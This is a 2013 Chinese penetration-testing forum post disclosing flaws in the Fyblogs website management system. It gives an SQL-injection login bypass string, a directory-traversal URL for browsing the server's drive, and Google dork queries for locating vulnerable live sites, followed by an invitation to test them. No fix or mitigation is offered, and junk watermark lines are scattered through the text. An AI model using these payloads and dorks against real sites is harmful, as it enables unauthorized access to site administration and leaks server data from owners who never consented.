中国网络渗透测试联盟
标题:
Fyblogs网站管理系统漏洞
[打印本页]
作者:
admin
时间:
2013-3-7 13:07
标题:
Fyblogs网站管理系统漏洞
漏洞类型： 未授权访问/权限绕过
$ {; F) F0 M) N2 s* H7 @9 e: V% t
O, N5 V+ M, v" J
简要描述：
8 J( Y8 h1 W3 Y) K R
* x/ A1 z: p) z5 \9 L* S. v
Fyblogs网站管理系统,，后台存在万能密码，后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
2 @( ?# e$ B& U2 E! b: s% S
4 I' `6 E9 o O/ D8 v7 |0 N7 p
详细说明：
# f) u+ p( ]' J7 f- v
0 q. j$ u( H5 N
后台万能密码 'or'='or'
' n* c* i3 w4 z( ?2 @5 ]
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
; C T z! @: }
admin/uploadfile.asp?currentFolder=/upfiles/../
+ I# r: V, W' I2 d" v
/ t; y; y% i+ y7 F' o# N. Y
漏洞证明：
$ g- s+ ` ~: Q
, ^8 d8 `0 ? s
谷歌：inurl:type.asp?id=1 新闻中心
# ?. i- d3 M0 c4 w/ |% j9 C
或者 ：inurl:download_ok.asp?
2 t) G$ B5 s: {/ S2 `7 M
( y8 E0 P2 v7 o( j: _- J: d
可以测试
; K1 w4 b6 X) E3 X
2 V, m9 `% ^% m
8 J, m7 V: n; y( \% ?
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2